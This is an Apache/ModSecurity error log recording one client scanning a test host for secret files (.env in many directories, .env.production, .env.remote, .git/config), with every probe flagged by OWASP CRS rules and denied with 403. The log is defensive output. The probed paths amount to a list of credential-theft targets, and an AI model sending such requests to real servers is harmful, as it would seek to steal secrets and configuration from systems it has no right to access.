[Fri Nov 28 10:36:39.410446 2025] [:error] [pid 383805] [client 54.177.185.240:45556] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSltJ_Zoqb1Tg18-jE5RGwAAABg"]
[Fri Nov 28 10:36:39.410677 2025] [:error] [pid 383805] [client 54.177.185.240:45556] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/cron/.env"] [unique_id "aSltJ_Zoqb1Tg18-jE5RGwAAABg"]
[Fri Nov 28 10:36:39.885891 2025] [:error] [pid 383806] [client 54.177.185.240:45708] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSltJ2_az3_H1ny4GWA-pQAAABk"]
[Fri Nov 28 10:36:39.886220 2025] [:error] [pid 383806] [client 54.177.185.240:45708] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSltJ2_az3_H1ny4GWA-pQAAABk"]
[Fri Nov 28 10:36:39.886506 2025] [:error] [pid 383806] [client 54.177.185.240:45708] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aSltJ2_az3_H1ny4GWA-pQAAABk"]
[Fri Nov 28 10:36:40.454034 2025] [:error] [pid 383807] [client 54.177.185.240:45890] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSltKIdVCnKfr_bBhp1D2QAAABo"]
[Fri Nov 28 10:36:40.456234 2025] [:error] [pid 383807] [client 54.177.185.240:45890] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSltKIdVCnKfr_bBhp1D2QAAABo"]
[Fri Nov 28 10:36:40.456559 2025] [:error] [pid 383807] [client 54.177.185.240:45890] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/uploads/.env"] [unique_id "aSltKIdVCnKfr_bBhp1D2QAAABo"]
[Fri Nov 28 10:36:41.283049 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe3wAAACg"]
[Fri Nov 28 10:36:41.283278 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe3wAAACg"]
[Fri Nov 28 10:36:41.283464 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe3wAAACg"]
[Fri Nov 28 10:36:41.452604 2025] [authz_core:error] [pid 383786] [client 54.177.185.240:45218] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env
[Fri Nov 28 10:36:41.950634 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe4AAAACg"]
[Fri Nov 28 10:36:41.950868 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe4AAAACg"]
[Fri Nov 28 10:36:41.951092 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aSltKY7Z5vlFr7sHfzTe4AAAACg"]
[Fri Nov 28 10:36:42.147042 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSltKjw2yRGRiZPkz52y7wAAAB4"]
[Fri Nov 28 10:36:42.147271 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSltKjw2yRGRiZPkz52y7wAAAB4"]
[Fri Nov 28 10:36:42.147459 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "aSltKjw2yRGRiZPkz52y7wAAAB4"]
[Fri Nov 28 10:36:42.504121 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSltKrF0qzQKjfNcRsLaSAAAACU"]
[Fri Nov 28 10:36:42.504455 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSltKrF0qzQKjfNcRsLaSAAAACU"]
[Fri Nov 28 10:36:42.504739 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aSltKrF0qzQKjfNcRsLaSAAAACU"]
[Fri Nov 28 10:36:42.876136 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSltKo7Z5vlFr7sHfzTe4QAAACg"]
[Fri Nov 28 10:36:42.876366 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSltKo7Z5vlFr7sHfzTe4QAAACg"]
[Fri Nov 28 10:36:42.876569 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSltKo7Z5vlFr7sHfzTe4QAAACg"]
[Fri Nov 28 10:36:43.285826 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSltKzw2yRGRiZPkz52y8AAAAB4"]
[Fri Nov 28 10:36:43.286198 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSltKzw2yRGRiZPkz52y8AAAAB4"]
[Fri Nov 28 10:36:43.286537 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aSltKzw2yRGRiZPkz52y8AAAAB4"]
[Fri Nov 28 10:36:43.502057 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /saas/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSltK47Z5vlFr7sHfzTe4gAAACg"]
[Fri Nov 28 10:36:43.502282 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSltK47Z5vlFr7sHfzTe4gAAACg"]
[Fri Nov 28 10:36:43.502520 2025] [:error] [pid 383796] [client 54.177.185.240:45496] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/saas/.env"] [unique_id "aSltK47Z5vlFr7sHfzTe4gAAACg"]
[Fri Nov 28 10:36:43.835055 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lab/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSltK7F0qzQKjfNcRsLaSQAAACU"]
[Fri Nov 28 10:36:43.835290 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSltK7F0qzQKjfNcRsLaSQAAACU"]
[Fri Nov 28 10:36:43.835489 2025] [:error] [pid 383793] [client 54.177.185.240:45296] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aSltK7F0qzQKjfNcRsLaSQAAACU"]
[Fri Nov 28 10:36:43.991443 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSltKzw2yRGRiZPkz52y8QAAAB4"]
[Fri Nov 28 10:36:43.991668 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSltKzw2yRGRiZPkz52y8QAAAB4"]
[Fri Nov 28 10:36:43.991863 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSltKzw2yRGRiZPkz52y8QAAAB4"]
[Fri Nov 28 10:36:44.765205 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSltLDw2yRGRiZPkz52y8gAAAB4"]
[Fri Nov 28 10:36:44.765440 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSltLDw2yRGRiZPkz52y8gAAAB4"]
[Fri Nov 28 10:36:44.765653 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.remote"] [unique_id "aSltLDw2yRGRiZPkz52y8gAAAB4"]
[Fri Nov 28 10:36:45.426570 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSltLTw2yRGRiZPkz52y8wAAAB4"]
[Fri Nov 28 10:36:45.427320 2025] [:error] [pid 383786] [client 54.177.185.240:45218] [client 54.177.185.240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aSltLTw2yRGRiZPkz52y8wAAAB4"]
